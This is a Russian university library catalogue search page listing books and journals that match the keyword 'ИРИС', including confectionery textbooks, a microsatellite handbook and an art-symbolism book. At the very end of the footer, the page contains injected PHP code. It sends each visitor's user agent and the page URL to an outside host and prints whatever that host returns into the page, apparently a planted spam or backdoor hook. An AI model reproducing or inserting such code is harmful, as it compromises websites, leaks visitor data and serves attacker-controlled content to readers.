Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

47 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ИРИС")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 12
1. 
Лурье И. С. Технология кондитерского производства [Текст] / И. С. Лурье, 1992. - 399 с.
Держатели документа (Информация об экземплярах) 
2. 
Производство хлеба, хлебобулочных и кондитерских изделий. Торты и пирожные [Текст] / сост. В. А. Шипов, 1999. - 286 с.
Держатели документа (Информация об экземплярах) 
3. 
Табаторович, Александр Николаевич. Товароведение однородных групп продовольственных товаров (зерномучные и кондитерские товары) [Текст] / А. Н. Табаторович ; дар. А. Н. Табаторович, 2017. - 183 с.
Ключевые слова 
Оглавление 
Держатели документа (Информация об экземплярах) 

В учебном пособии рассмотрены вопросы терминологии, классификации, пищевой ценности, формирования и оценки качества основных видов и разновидностей зерномучных и кондитерских товаров. Классификация ассортимента, показатели качества и безопасности представлены в соответствии с действующими нормативными документами и Техническими регламентами Таможенного союза.

Пособие предназначено для студентов, обучающихся по направлениям подготовки 38.03.07 "Товароведение" и 38.03.06 "Торговое дело". Может быть полезно для товароведов-экспертов, коммерсантов и других практических работников, чья деятельность связана с производством, продажей и хранением указанных групп товаров.

Полный текст
4. 
Кузнецова, Людмила Семеновна. Технология и организация производства кондитерских изделий [Текст] / Л. С. Кузнецова, М. Ю. Сиданова, 2009. - 478, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрена технология переработки пищевого сырья в сахарные и мучные кондитерские изделия. Приведены требования к качеству сырья при его закупке, хранении и подготовке к первичной переработке, химический состав и свойства сырья и сведения о его подверженности изменениям под влиянием теплового, механического и других видов воздействия. Изложены методика составления рецептур кондитерских изделий и требования к качеству готовой продукции и ее хранению.

Во 2-е издание внесены исправления и дополнения, связанные с введением в действие новых ГОСТов на пищевые продукты по состоянию на 1 января 2009 г.

Для студентов средних профессиональных учебных заведений. Может быть полезен студентам вузов и специалистам кондитерского производства.

5. 
Экологические системы и приборы. - Журнал, 2006г. № 8
Оглавление 
  • Козлов, А. А. Предварительные положения концепции радиационно-экологического мониторинга / А. А. Козлов, М. Г. Шмонов. - с.3-11
  • Потапов, И. И. Оценка риска в режиме геоинформационного мониторинга / И. И. Потапов, В. Ф. Крапивин, В. Ю. Солдатов. - с.11-17
  • Бессонов, В. В. Экологические аспекты производства и использования ртутьсодержащих химических источников тока / В. В. Бессонов, Е. П. Янин. - с.18-30
  • Пожидаев, И. В. Экологический мониторинг окружающей среды с использованием мобильного робота "ИРИС-1" / И. В. Пожидаев. - с.31-32
  • Федотов, Г. Н. Коллоидная структура почв и удержание почвами неотмываемых солей / Г. Н. Федотов, Е. И. Пахомов. - с.33-36
  • Кузина, В. В. Математические модели в задачах вольтамперометрического анализа / В. В. Кузина, А. П. Замятин, А. Н. Кошев. - с.37-41
  • Фильчакова, С. А. Экологически безопасные продукты с функциоанальными свойствами / С. А. Фильчакова, Е. В. Медведев, Ю. Н. Тамбовцев. - с.42-43
  • Милованов, Е. В. Опыт Украины в области производства и реализации органических продуктов / Е. В. Милованов. - с.44-46
  • Индикаторный состав для определния кобальта (II) в водных растворах. - с.47-48
  • Способ очистки сточных вод и устройство для его осуществления. - с.48-52
  • Способ биологической очистки сточных вод предприятий химической промышленности производства акриловой кислоты и ее производных. - с.52-54
  • Штамм бактерий desulfovibrio sp. СВБ-2, используемый для очистки сточных вод от ионов тяжелых металлов. - с.54-55
  • Устройство биологической очистки сточных вод. - с.56-58
  • Фильтрующий материал для очистки воды от марганца и железа, способ его получения и способ очистки воды от марганца и железа. - с.59-61
  • Способ удаления фосфора из сточной жидкости. - с.61-63
  • Открытое акционерное общество "Меркурий". - с.64
Держатели документа (Информация об экземплярах) 
6. 
Драгилев А. И. Технология кондитерских изделий [Текст] : Учеб. для студ. образоват. учреждений сред. проф. образования / А. И. Драгилев, И. С. Лурье, 2003. - 429 с.
Держатели документа (Информация об экземплярах) 
7. 
Скобельская З. Г. Технология производства сахарных кондитерских изделий [Текст] : Учеб. для учреждений нач. проф. образования / З. Г. Скобельская, Г. Н. Горячева, 2002. - 412 с.
Держатели документа (Информация об экземплярах) 
8. 
Димов, Димитр. Собрание сочинений [Текст] : в 4 т.: пер. с болг. Т. 4 : Рассказы и очерки / сост. В. И. Злыднев, 1978. - 446 с.
Оглавление 
  • Пьесы
  • Публицистика
Оглавление 
  • Женщины с прошлым
  • Виновный
  • Передышка в Арко Ирис
Держатели документа (Информация об экземплярах) 
9. 
Малые космические аппараты [Текст] : в 3 кн. / В. Н. Блинов [и др.] ; ОмГТУ, ПО "Полет"- фил. ФГУП "ГКНПЦ им. М. В. Хруничева". Кн. 2 : Микроспутники : справ. пособие, 2010. - 272 с.
Ключевые слова 
Оглавление 
  • Список принятых сокращений. - с.9
  • Введение. - с.10
  • Микроспутники. - с.11
  • Aditya. - с.12
  • AERCam-Sprint. - с.13
  • ALEXIS. - с.13
  • ALP-SAT. - с.14
  • ALSAT-1 (Алсат-1). - с.14
  • Amsat-Echo (АмСат-Эхо), он же Amsat-OSCAR 51. - с.16
  • ANDE Castor Sphere (входит в состав объекта ANDE-2), он же ANDE AA (Active). - с.18
  • ANDE Pollux Sphere (входит в состав объекта ANDE-2), он же РА (Passive). - с.20
  • ANGELS (Autonomous Nanosatellite Guardian Evaluating Local Space). - с.21
  • Anusat. - с.22
  • AprizeSat-3 (4), он же АпрайзСат 3 и АпрайзСат 4, он же LatinSat. - с.24
  • Astrid-1. - с.26
  • ASTRID-2. - с.26
  • BADR-D (BADR-2). - с.29
  • Banxing (BX-1). - с.31
  • Biltensat-1. - с.32
  • BIRD (Bispectral and Infarel Remote Detection), он же BIRD-2. - с.32
  • BIRD-RUBIN. - с.35
  • Ceriese. - с.36
  • CHIPSAT (Cosmic Hot Interstellar Plasma Spectrometer), он же КСГМП (Космический спектрометр горячей межзвездной плазмы), он же "Чипсэт". - с.37
  • CLEMENTINE. - с.39
  • Cosmos 1 ("Космос-1"), он же МКА проекта "Солнечный парус". - с.40
  • DASH (Demonstrator of Atmospheric Reentry System with Hyper Velocity). - с.42
  • Deimos 1("Деймос-1"). - с.44
  • DLR-Tubsat. - с.46
  • DST (Dobson Space Telescope). - с.48
  • DYNO. - с.48
  • FAISAT. - с.49
  • FalconSat 1. - с.49
  • FalconSat 2. - с.50
  • FalconSat 3. - с.52
  • FASat Alfa. - с.54
  • FASat-Bravo. - с.54
  • Fcal (Fence Calibration). - с.55
  • FEDSAT. - с.57
  • Formosat-3. - с.58
  • GRAB, он же Solrad. - с.60
  • Gurwin Techsat II (Techsat-2). - с.61
  • Hamsat (VUSAT он же VO-52). - с.62
  • HealhSat 2. - с.64
  • HEOSS (High Earth Orbit Space Surveillance). - с.64
  • HTV (Hover Test Vehicle). - с.65
  • HYPERSAT. - с.65
  • Icarus. - с.66
  • IMS-1 (Indian Mini Satellite-1), он же TWSat (Third World Satellite). - с.67
  • INDEX (Innovative Technology Demonstration Experiment-Демонстрационный эксперимент новых технологий). - с.69
  • Index-1 (Innovative Technology Demonstration Experiment). - с.71
  • Innovation-1 (Chuangxiri-1), он же СХ-1 ("Инновация-1"), он же "Чуасинь-1". - с.71
  • INTASAT-1. - с.72
  • IRIS (LLMS). - с.72
  • IRIS (неотделяемый) (Intercontinental Retrieval of Information Via Satellite-"межконтинентальное снятие информации через спутник"). - с.73
  • IRIS (неотделяемый)(Inflatable and Rigidizable Structure), он же ИРИС. - с.74
  • JAS-2. - с.75
  • JAUESAT. - с.76
  • Kagayaki, он же SorunSat, он же TSP-1 (Tokai Satellite Project One), он же "Блеск". - с.76
  • Kitsat A, он же KITSAT-1, он же Oscar 23. - с.78
  • Kitsat B, он же Kitsat 2 (Oscar 25). - с.79
  • KT-1PS. - с.80
  • µ-LabSat. - с.81
  • Lapan-Tubsat. - с.82
  • LatinSat-D ("ЛатинСат-D"). - с.83
  • LatinSat-C ("ЛатинСат-C"). - с.84
  • LRE (Laser Research Experiment). - с.86
  • MAA (Mock ANDE Active). - с.87
  • Maido 1, он же SOHLA-1 (Spase Oriented Higashiosaka Leadihg Associacion). - с.90
  • Maroc-Tubsat. - с.92
  • MEDGSAT. - с.94
  • MEDGSAT-1. - с.95
  • Mesbah ("Месбах", он же "Фонарь", он же "Факел"). - с.96
  • Microspacecraft. - с.97
  • MIGHTISAT-1. - с.98
  • MIMOSA (Micro Measurements Of Satellite Acceleration, микроизмерения ускорения спутника). - с.99
  • MOST (Microvariability and Oscillation of Stars, микроизменения и колебания звезд). - с.102
  • MTV (Maneuvering and Transfer Vehicle). - с.105
  • MUBLCOM (Multiple Path Beyond Line-of-Site Communication-многонаправленная связь вне прямой видимости). - с.105
  • Nano-JASMINE. - с.106
  • Nanosat 01. - с.107
  • Nanosat-1B ("НаноСат-1В") . - с.109
  • Nanosat-2, он же 3CS-1, он же "Ральфи" (Ralphie) и "Спарки" (Sparky), он же МКА СИСТЕМЫ 3. - с.110
  • Naxing-1, он же Nanosat-1 ("Насин-1, "Наноспутник-1"). - с.111
  • NCT (Nfnosat Constellation Trailblaser)-"Пионер". - с.112
  • NEOSSat (Near Earth Object Surveillance Satellite). - с.113
  • NigeriaSat-1. - с.115
  • NSAT-1. - с.116
  • OCS. - с.117
  • OERSTED. - с.118
  • OLIV (Orbital Maintenance Sestem Light Inspector Vehicle). - с.120
  • Omid ("Омид", "Надежда")-второй запуск. - с.121
  • OPAL (Orbiting Picosaltelite Automatic Launcher). - с.122
  • Orbcomm. - с.124
  • ORBCOMM CDS ("Демонстратор"). - с.126
  • OSCAR 7 (AO-7). - с.127
  • OTTI (Orbiting Technology Tested Initiative). - с.128
  • Pageos (Passiv Geodetic Sattelite). - с.128
  • Pansat (Petit Amateur Naval Sattelite). - с.129
  • PCSAT (Prototype Communication SATellite). - с.130
  • PICOSAT P 97-1(Picosat-9). - с.132
  • PROBA (Project for On-Board Avtonomy, он же PROBA-1). - с.133
  • Prospero X-3. - с.137
  • PS-2. - с.137
  • Relay, он же Rstar. - с.138
  • Rohihi RSI. - с.139
  • Rosat. - с.140
  • Rubin-2 ("Рубин-2"). - с.140
  • SACI 1. - с.142
  • SACI -2. - с.144
  • SAFIR. - с.145
  • Safir ("Посланник"). - с.146
  • SAFIR-2. - с.146
  • SAPPHIRE. - с.147
  • Saudicomsat-1 ("СаудиКомсат-1"). - с.148
  • Saudicomsat-2 ("СаудиКомсат-2"). - с.149
  • SaudiComSan-3...7. - с.151
  • Saudisat-1C ("Саудисат-1С"). - с.152
  • Saudisat-2 ("Саудисат-2"). - с.153
  • SBD (Special Bus Design). - с.154
  • SDS-1 (Small Demonstration Satellite). - с.155
  • SDS-2 (Small Demonstration Satellite). - с.156
  • SDS-3 (Small Demonstration Satellite). - с.157
  • SEDSat-1. - с.157
  • Shi Jian 2. - с.158
  • Simptesat. - с.159
  • SmallTug. - с.160
  • Space Technology 3 (ST-3). - с.160
  • Space Technology 5 (ST-5). - с.161
  • SpriteSAT (Sprite Satellite), он же Rising. - с.165
  • "SSETI Экспресс" (Student Space Exploration and Technology Initiative- Студенческая инициатива исследования космоса и технологий). - с.167
  • STARSHINE. - с.169
  • Starsshine 2 ("Звездное сияние"). - с.170
  • STARSHINE 3. - с.172
  • STRV 1с и STRV 1d. - с.173
  • STSat-1, он же KAISTSat-4. - с.173
  • ST-SAT-2 (Science and SateLLite-2). - с.175
  • SumbandilaSat (ZASat-002), он Sumbandila ("Сумбандила"). - с.177
  • Sunsat. - с.181
  • Sunsat-2004 ("Сансет 2004"). - с.182
  • TACSat ("ТакСат"). - с.183
  • TacSat-1 (Tactiacal Satellite). - с.183
  • TAUVEX. - с.185
  • Teledesic. - с.185
  • TEMISAT. - с.187
  • TIUNGSAT 1. - с.187
  • TMSat. - с.189
  • Trailblazer. - с.190
  • TrailBlazer-2001-Dummy ("Tрейл блейзер"). - с.191
  • TSINGHUA-1. - с.192
  • Tsinghua-2. - с.193
  • Tubsat-A. - с.194
  • Tubsat-B. - с.194
  • UK-DMC. - с.194
  • UK-DMC 2 ("ЮК ДМС-2"). - с.196
  • UniSat-2 ("Унисат-2"). - с.197
  • UniSat-3 ("Унисат-3"). - с.199
  • UniSat-4. - с.200
  • UNITEC-1 (UNISEC Technology Experimen Carrier-1). - с.202
  • UOSAT. - с.205
  • UoSAT 1. - с.205
  • UoSAT 2. - с.206
  • UoSAT 3. - с.206
  • UoSAT 4. - с.206
  • UoSAT 5. - с.207
  • VICTOR. - с.207
  • VITASAT. - с.207
  • VRAD, он же Vstar. - с.208
  • WEOS (Whale Ecology Observation Sattelite), он же Kanta-Kun. - с.209
  • WESTRAC (Western Pacific). - с.211
  • Xiwang-1, он же "Сиван-1", он же "Надежда". - с.212
  • XSS-10. - с.214
  • Американский МКА. - с.216
  • Американский МКА. - с.217
  • "Бауманец". - с.217
  • "Бауманец-2". - с.220
  • Без названия. - с.221
  • "Бигль-2". - с.221
  • Индийский МКА. - с.222
  • Индийский МКА. - с.222
  • Индонезийский МКА. - с.223
  • "Инспектор-1". - с.223
  • "Искра-2". - с.225
  • "Искра-3". - с.226
  • Испанский МКА. - с.227
  • "Колибри", он же "Колибри-2000". - с.228
  • "Компасс". - с.230
  • "Компас-2/Татьяна" ("Комплексный орбитальный магнитоплазменный автономный спутник"). - с.233
  • КС5МФ ("Микроспутник", он же МС-1ТК, "Микрон"). - с.236
  • "Можаец". - с.238
  • "Можаец-4". - с.240
  • "Можаец-5". - с.242
  • Молдавский МКА. - с.244
  • МС-ЭКО. - с.245
  • "Одиссей". - с.246
  • "ОУНА". - с.247
  • "Радио-1". - с.247
  • Российско-белорусский МКА. - с.248
  • РС-3...РС-8. - с.249
  • РС-15 ("Радио-РОСТО"). - с.250
  • "Рубин-3ДСИ". - с.250
  • Сингапурский МКА. - с.251
  • СМКА ("Юбилейный-2"). - с.252
  • Субспутник сопровождения. - с.252
  • Студенческий МКА. - с.253
  • "Татьяна-2" ("Универсат-2Татьяна-2", он же "Университетский-Татьяна-2"). - с.254
  • УГАТУ-САТ. - с.257
  • "Университетский - Татьяна", он же "Университетский". - с.259
  • "Чибис". - с.263
  • "Электро-1". - с.266
  • "Электро-2". - с.266
  • "Юбилейный". - с.266
  • Южнокорейский МКА. - с.270
  • Южнокорейский МКА. - с.270
  • Японский МКА. - с.271
  • Японский МКА. - с.271
  • Заключение. - с.272
  • Библиографический список. - с.272
Держатели документа (Информация об экземплярах) 
Полный текст
10. 
Сурина, Мариэтта Олеговна. Цвет и символ в искусстве, дизайне и архитектуре [Текст] : учеб. пособие для вузов, обучающих художеств. специальностям и дизайну / М. О. Сурина, 2010. - 151 с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- СИМВОЛИКА -- ЦВЕТОВАЯ -- ВОСТОЧНАЯ -- КИТАЙСКАЯ -- ЯПОНСКАЯ -- ВИЗАНТИЙСКАЯ -- РУССКАЯ -- АНГЛИЙСКАЯ -- ЗВЕЗДА -- ПЕНТАГРАММА -- КРЕСТ -- АРХИТЕКТУРНАЯ -- ПОСТРОЙКА -- ХРАМ -- ЗИККУРАТ -- ПИРАМИДА -- БАШНЯ -- КОЛОННА -- КАМЕНЬ -- РАСТИТЕЛЬНЫЙ -- ЛОТОС -- МАК -- РОЗА -- ЛИЛИЯ -- ИРИС -- ПИОН -- ТЮЛЬПАН -- НАРЦИСС -- ЗООМОРФНЫЙ -- СФИНКС -- СКАРАБЕЙ -- КОРОВА -- ИБИС -- ФЕНИКС -- ЛЕВ -- ОРЕЛ -- ПАВЛИН -- ВОРОН -- ГОЛУБЬ -- ЛЕБЕДЬ -- ЗМЕЯ -- КОНЬ -- ПЕГАС -- СИМВОЛИЗМ -- БЕСПРЕДМЕТНИКИ -- НЕОПЛАСТИЦИЗМ -- АБСТРАКЦИОНИЗМ -- СУПЕРМАТИЗМ -- СУПРЕМАТИЗМ
Держатели документа (Информация об экземплярах) 

Книга рекомендована учебно-методическим объединением по дизайну и декоративному искусству в качестве учебного пособия для вузов, обучающихся художественным специальностям и дизайну.

Книга посвящена символам, популярным в искусстве различных культур. Главное внимание в работе уделено цвету, т. к. именно этот элемент, по мнению автора, позволяет глубже раскрыть содержание и назначение символа. В мировой культуре, отраженной в образах искусства, символические формы всегда наделяются цветом, который не был случаен и нес определенную смысловую нагрузку. Однако этот аспект не является до сих пор объектом специального исследования и часто игнорируется (в том числе и в истории искусств). Чтобы проникнуть в другую культуру, понять ее, надо научиться правильно интерпретировать значения, заложенные в символических формах и цветовых гаммах. Именно поэтому главное внимание в работе уделено цветовой символике, цвету как ведущему элементу в изучении содержания и назначения определенного символа.

Данная книга предназначена для специалистов в области дизайна и искусства (искусствоведов, художников, архитекторов и др.), преподавателей по истории искусств, эстетике, а также тех, кто интересуется вопросами символики.

11. 
Справочник по товароведению продовольственных товаров [Текст] : Справочники/словари / Под ред. Т.Г.Родиной, 2003. - 608 с.
Ключевые слова 
ТОВАРОВЕДЕНИЕ -- Товары продовольственные -- ЦЕННОСТЬ ПИЩИ ЭНЕРГЕТИЧЕСКАЯ -- ЦЕННОСТЬ ПИЩИ биологическая -- ЦЕННОСТЬ ПИЩИ физиологическая -- ЦЕННОСТЬ ПИЩИ органолептическая -- Усвояемость пищи -- КОДИРОВАНИЕ ТОВАРА -- МАРКИРОВКА ТОВАРА -- ИНФОРМАЦИЯ О ТОВАРЕ -- БЕЗОПАСНОСТЬ пищевых продуктов -- Безопасность эпидемиологическая -- ТАРА -- УПАКОВКА -- УТИЛИЗАЦИЯ тары -- ДОБАВКА ПИЩЕВАЯ -- Краситель пищевой -- Консервант -- Антиокислитель -- Ароматизатор -- Препарат коптильный -- ТОВАРЫ зерномучные -- Зерно -- Мука -- Крупа -- МАКАРОНЫ -- Хлеб -- СУХАРИ -- ПЛОДЫ -- ОВОЩИ -- ГРИБЫ -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- РЕЗИНКА ЖЕВАТЕЛЬНАЯ -- Карамель -- Шоколад -- КАКАО - порошок -- Конфеты -- Ирис -- Драже -- Халва -- Печенье -- ВАФЛИ -- ПИРОЖНЫЕ -- ТОРТЫ -- РУЛЕТ -- КЕКС -- Сладости восточные -- КОНЦЕНТРАТ ПИЩЕВОЙ -- ПРОДУКТЫ детского питания -- ТОВАРЫ вкусовые -- ЖИР ПИЩЕВОЙ -- МОЛОКО -- Сметана -- Сыр -- ТОВАРЫ молочные -- ЯЙЦЕПРОДУКТЫ -- МЯСО -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- КОНСЕРВЫ РЫБНЫЕ -- ПРЕСЕРВЫ РЫБНЫЕ
Держатели документа (Информация об экземплярах) 
12. 
Драгилев, Абрам Иосифович. Основы кондитерского производства [Текст] : Учеб. для вузов по специальностям "Технология хлеба, кондит. и макарон. изделий", "Машины и аппараты пищевых пр-в" / А. И. Драгилев, Г. А. Маршалкин, 1999. - 447 с.


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3078 - 13.11.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.06 с.14 запросов, 0.54c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;